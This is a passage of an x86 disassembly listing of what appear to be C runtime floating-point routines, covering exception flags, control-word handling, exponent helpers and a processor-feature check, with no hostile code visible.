		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------

loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------

loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------

loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx

loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2820000h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh

loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh

loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h

loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh

loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx

loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------

loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------

loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx

loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs

loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------

loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_43B8D0
		fchs

loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------

loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_43B8C0
		fchs

loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs

loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]

loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx

loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------

loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------

loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx

loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx

loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx

loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3

loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx

loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx

loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx

loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8

loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3

loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B

loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4

loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------

loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E

loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax

loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1

loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------

loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait

loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_43B8F4
		fstp	[ebp+var_8]
		wait

loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26E0A99h
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B06F4h
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF

loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------

loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883

loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_4397B0
